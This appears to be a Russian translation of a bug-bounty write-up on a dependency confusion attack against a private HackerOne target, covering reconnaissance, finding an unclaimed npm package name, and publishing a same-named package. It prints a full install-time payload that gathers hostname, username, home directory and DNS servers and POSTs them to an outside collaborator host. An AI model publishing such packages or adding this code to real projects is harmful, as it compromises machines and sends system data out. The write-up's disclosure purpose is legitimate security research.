RCE через Dependency Confusion

RCE через Dependency Confusion

SHADOW:Group
Данная статья представлена исключительно в образовательных целях. Автор не несёт ответственности за любые последствия ее прочтения.

В этом блоге я поделюсь недавней находкой RCE с помощью атаки Dependency Confusion в частной программе Hackerone .

Что такое Dependency Confusion?

Атака Dependency Confusion или атака подмены цепочки поставок происходит, когда установщик программного обеспечения вытягивает файл вредоносного кода из общедоступного репозитория вместо предполагаемого файла с тем же именем из внутреннего репозитория.

Схема атаки Dependency Confusion

  • Из приведенного выше изображения видно, что общедоступный пакет содержит более высокую версию по сравнению с частным пакетом.
  • Поэтому, если индексация пакета не выполнена должным образом, он автоматически извлечет пакет более высокой версии из публичного реестра.

Как я нашел эту ошибку?

Давайте назовем сайт redacted.com, так как это была частная программа в Hackerone.

  1. Shodan Dorking.

Я начал с разведки в Shodan и, используя приведенный ниже Shodan дорк, я нашел IP-адрес, принадлежащий redacted.com.

2. Брутфорс каталогов.

Теперь, используя инструменты для брутфорса каталогов, такие как Dirsearch и FFUF, я нашел файл package.json. Файл package.json содержал все пакеты, которые были установлены на сервере. URL-адрес выглядел так: https://XX.XX.XX.XX/ui/package.json.

Содержимое файла package.json:

3. Проверка путаницы зависимостей в приватных пакетах.

Я скачал файл package.json и начал проверять приватные пакеты с помощью инструмента Confused от visma-prodec.

Выяснилось, что пакета «spr-svg-loaders» нет в общедоступном репозитории npm. Вы можете убедиться в этом, зайдя на веб-сайт npm и выполнив поиск имени пакета.

Следующим шагом является создание пакета NPM с тем же именем (spr-svg-loaders) в общедоступном реестре NPM.

4. Создание вредоносных пакетов (NPM)

Создайте пакет npm с нужным именем, поместите в index.js код, указанный ниже, и загрузите его в общедоступный репозиторий npm. Полную процедуру загрузки пакета можно найти в этом блоге.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
  p: package,
  c: __dirname,
  hd: os.homedir(),
  hn: os.hostname(),
  un: os.userInfo().username,
  dns: dns.getServers(),
  r: packageJSON ? packageJSON.___resolved : undefined,
  v: packageJSON.version,
  pjson: packageJSON,
});

var postData = querystring.stringify({
  msg: trackingData,
});

var options = {
  hostname: "burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream
  port: 443,
  path: "/",
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": postData.length,
  },
};

var req = https.request(options, (res) => {
  res.on("data", (d) => {
    process.stdout.write(d);
  });
});

req.on("error", (e) => {
  // console.error(e);
});
req.write(postData);
req.end();

После публикации пакета мы можем проверить его, введя имя пакета в репозитории npm.

В течение нескольких часов после загрузки пакета я получил ответ с несколькими данными, такими как имя хоста, каталоги, IP-адрес, имя пользователя, на мой сервер сервер interact.sh.

Я получил ответный запрос не только от сервера, который был размещен на AWS, но и от нескольких других компьютеров. Итак, я быстро экспортировал данные и сообщил в их программу вознаграждения.

Оригинал статьи на английском тут.

На этом все! Спасибо за просмотр!

Подпишись на канал @shadow_group_tg

Report Page